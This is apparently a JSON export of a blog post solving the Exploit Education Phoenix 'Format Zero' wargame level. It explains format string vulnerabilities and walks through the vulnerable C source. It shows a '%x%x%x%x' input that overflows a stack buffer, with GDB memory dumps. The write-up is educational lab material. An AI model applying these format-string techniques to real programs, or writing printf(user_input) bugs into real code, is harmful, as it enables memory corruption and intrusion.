{"id":540,"date":"2019-07-18T09:48:37","date_gmt":"2019-07-18T13:48:37","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=540"},"modified":"2020-12-15T08:03:55","modified_gmt":"2020-12-15T13:03:55","slug":"exploit-education-phoenix-format-zero-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-zero-solution\/","title":{"rendered":"Exploit Education | Phoenix | Format Zero Solution"},"content":{"rendered":"<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/format-zero\/\">http:\/\/exploit.education\/phoenix\/format-zero\/<\/a><\/p>\n<p>Now it&#8217;s time to learn about format string vulnerabilities. I won&#8217;t go into great detail about this particular type of vulnerability since there&#8217;s a lot of resources on the Internet that can give a better explanation than I can (just do a search on &#8220;format string vulnerability&#8221;). Basically, these occur when the programmer uses the &#8220;printf&#8221; family of functions without a &#8220;format string.&#8221; For instance, if there&#8217;s a character array variable (called &#8220;name&#8221; in this example) that is filled with user-supplied input, the correct way to display the contents would be like this:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">printf(&quot;%s\\n&quot;, name);<\/pre>\n<p>The<span style=\"font-family: Courier New; font-weight: bold;\"> &#8220;%s\\n&#8221; <\/span> is the format string here, telling the<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>function to display the <strong>name<\/strong> variable as a string. Printing the contents of the variable this way would cause a format string vulnerability:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">printf(name);\r\nprintf(&quot;\\n&quot;);<\/pre>\n<p>The vulnerability occurs because the user can supply their own format string. If the user were to input something like<span style=\"font-family: Courier New; font-weight: bold;\"> &#8220;%08x.%08x.%08x.%08x&#8221; <\/span>as their name, the<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>function would display information on the stack where it was called from as it would expect 4 values to have been pushed as arguments for the format string. The output might look something like<span style=\"font-family: Courier New; font-weight: bold;\"> ffffe920.ffffe243.00000000.fefefeff<\/span>.<\/p>\n<p>This first level is relatively straightforward, we need to modify the <strong>changeme<\/strong> variable. Let&#8217;s look at the source code. First, a struct is created with 2 variables, dest[32] and changeme (int). Another variable, called buffer[16], is declared and the banner is printed.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">#define BANNER \\\r\n  &quot;Welcome to &quot; LEVELNAME &quot;, brought to you by https:\/\/exploit.education&quot;\r\n\r\nint main(int argc, char **argv) {\r\n  struct {\r\n    char dest&#x5B;32];\r\n    volatile int changeme;\r\n  } locals;\r\n  char buffer&#x5B;16];\r\n\r\n  printf(&quot;%s\\n&quot;, BANNER);\r\n...<\/pre>\n<p>Next, the program asks for user input to store into the <strong>buffer<\/strong> variable. This will store at most 15 characters. It then ensures NULL termination of that variable by setting the last element to a NULL byte and sets the <strong>changeme<\/strong> variable to a NULL value as well.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {\r\n    errx(1, &quot;Unable to get buffer&quot;);\r\n  }\r\n  buffer&#x5B;15] = 0;\r\n\r\n  locals.changeme = 0;<\/pre>\n<p>Next, we have the format string vulnerability with the<span style=\"font-family: Courier New; font-weight: bold;\"> sprintf() <\/span>function. It simply takes the user-supplied input and writes it to the <strong>dest<\/strong> variable. Finally, the program prints a message depending on weather or not the <strong>changeme<\/strong> variable was changed or not and exits.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">  sprintf(locals.dest, buffer);\r\n\r\n  if (locals.changeme != 0) {\r\n    puts(&quot;Well done, the 'changeme' variable has been changed!&quot;);\r\n  } else {\r\n    puts(\r\n        &quot;Uh oh, 'changeme' has not yet been changed. Would you like to try &quot;\r\n        &quot;again?&quot;);\r\n  }\r\n\r\n  exit(0);\r\n}<\/pre>\n<p>We need to modify the <strong>changeme<\/strong> variable that is placed on the stack next to the <strong>dest<\/strong> variable. However, we can&#8217;t just supply more information than <strong>dest<\/strong> can hold as our input is limited to 15 characters. However, we can take advantage of the format string vulnerability. If we supply &#8220;<strong>%x<\/strong>&#8221; as input, only 2 characters are used. When that goes through the<span style=\"font-family: Courier New; font-weight: bold;\"> sprintf() <\/span>function, it comes out as an 8 character hex value from the stack. So to fill the <strong>dest<\/strong> variable, we only need 4 of those &#8220;%x&#8221; format specifiers. And since the user presses &#8220;enter&#8221; at the end of their input, the<span style=\"font-family: Courier New; font-weight: bold;\"> sprintf() <\/span>function will save the newline character (0x0a) as well, which would cause an overflow. Let&#8217;s test it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ \/opt\/phoenix\/amd64\/format-zero \r\nWelcome to phoenix\/format-zero, brought to you by https:\/\/exploit.education\r\n%x%x%x\r\nUh oh, 'changeme' has not yet been changed. Would you like to try again?\r\n\r\nuser@phoenix-amd64:~$ \/opt\/phoenix\/amd64\/format-zero \r\nWelcome to phoenix\/format-zero, brought to you by https:\/\/exploit.education\r\n%x%x%x%x\r\nWell done, the 'changeme' variable has been changed!<\/pre>\n<p>We can also use GDB to see how it looks in memory:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ gdb -q \/opt\/phoenix\/amd64\/format-zero \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/format-zero...(no debugging symbols found)...done.\r\n\r\ngef&gt; disas main\r\nDump of assembler code for function main:\r\n...\r\n   0x00000000004006e7 &lt;+74&gt;:    mov    BYTE PTR &#x5B;rbp-0x31],0x0\r\n   0x00000000004006eb &lt;+78&gt;:    mov    DWORD PTR &#x5B;rbp-0x10],0x0\r\n   0x00000000004006f2 &lt;+85&gt;:    lea    rdx,&#x5B;rbp-0x40]\r\n   0x00000000004006f6 &lt;+89&gt;:    lea    rax,&#x5B;rbp-0x30]\r\n   0x00000000004006fa &lt;+93&gt;:    mov    rsi,rdx\r\n   0x00000000004006fd &lt;+96&gt;:    mov    rdi,rax\r\n   0x0000000000400700 &lt;+99&gt;:    mov    eax,0x0\r\n   0x0000000000400705 &lt;+104&gt;:   call   0x400500 &lt;sprintf@plt&gt;\r\n...<\/pre>\n<p>We can see that the addresses for the <strong>buffer<\/strong> and <strong>locals.dest<\/strong> variables are loaded into RDX and RAX as arguments for the<span style=\"font-family: Courier New; font-weight: bold;\"> sprintf() <\/span>function at main+85 &#038; main+89. That tells me that I should be watching the memory on the stack starting at RBP-0x40. I&#8217;ll break before the<span style=\"font-family: Courier New; font-weight: bold;\"> sprintf() <\/span>function call and use the GEF &#8220;memory watch&#8221; command so I can see what the stack looks like before &#038; after the call. Also note that we know the <strong>changeme<\/strong> variable is at RBP-0x10 as that&#8217;s where the NULL value is loaded into there in the disassembly.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; b *main+99\r\nBreakpoint 1 at 0x400700\r\n\r\ngef&gt; run &lt; &lt;(echo %x%x%x%x)\r\nStarting program: \/opt\/phoenix\/amd64\/format-zero &lt; &lt;(echo %x%x%x%x)\r\nWelcome to phoenix\/format-zero, brought to you by https:\/\/exploit.education\r\nBreakpoint 1, 0x0000000000400700 in main ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; p $rbp\r\n$1 = (void *) 0x7fffffffe690\r\n\r\ngef&gt; memory watch $rbp-0x40 8 qword\r\n&#x5B;+] Adding memwatch to 0x7fffffffe650\r\n\r\ngef&gt; n\r\n0x0000000000400705 in main ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 memory:0x7fffffffe650 \u2500\u2500\u2500\u2500\r\n0x00007fffffffe650\u2502+0x0000 0x7825782578257825\r\n0x00007fffffffe658\u2502+0x0008 0x000000000000000a\r\n0x00007fffffffe660\u2502+0x0010 0x0000000000000000\r\n0x00007fffffffe668\u2502+0x0018 0x00007fffffffe6e8\r\n0x00007fffffffe670\u2502+0x0020 0x0000000000000001\r\n0x00007fffffffe678\u2502+0x0028 0x00007fffffffe6f8\r\n0x00007fffffffe680\u2502+0x0030 0x0000000000000000\r\n0x00007fffffffe688\u2502+0x0038 0x0000000000000000\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; n\r\n0x000000000040070a in main ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 memory:0x7fffffffe650 \u2500\u2500\u2500\u2500\r\n0x00007fffffffe650\u2502+0x0000 0x7825782578257825\r\n0x00007fffffffe658\u2502+0x0008 0x000000000000000a\r\n0x00007fffffffe660\u2502+0x0010 0x3035366566666666\r\n0x00007fffffffe668\u2502+0x0018 0x3033356366663766\r\n0x00007fffffffe670\u2502+0x0020 0x3030336266663766\r\n0x00007fffffffe678\u2502+0x0028 0x6630366566666666\r\n0x00007fffffffe680\u2502+0x0030 0x000000000000000a\r\n0x00007fffffffe688\u2502+0x0038 0x0000000000000000\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; c\r\nContinuing.\r\nWell done, the 'changeme' variable has been changed!\r\n&#x5B;Inferior 1 (process 348) exited normally]<\/pre>\n<p>We can see the stack gets filled with seemingly random data from other parts of the stack where the <strong>dest<\/strong> variable is. You can also see the newline character (0x0a) gets put at 0x7fffffffe680, thus, overwriting the <strong>changeme<\/strong> variable.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This level introduces format strings, and how attacker supplied format strings can modify program execution &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-zero-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Format Zero Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-540","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/540","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=540"}],"version-history":[{"count":13,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/540\/revisions"}],"predecessor-version":[{"id":1467,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/540\/revisions\/1467"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=540"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=540"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=540"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}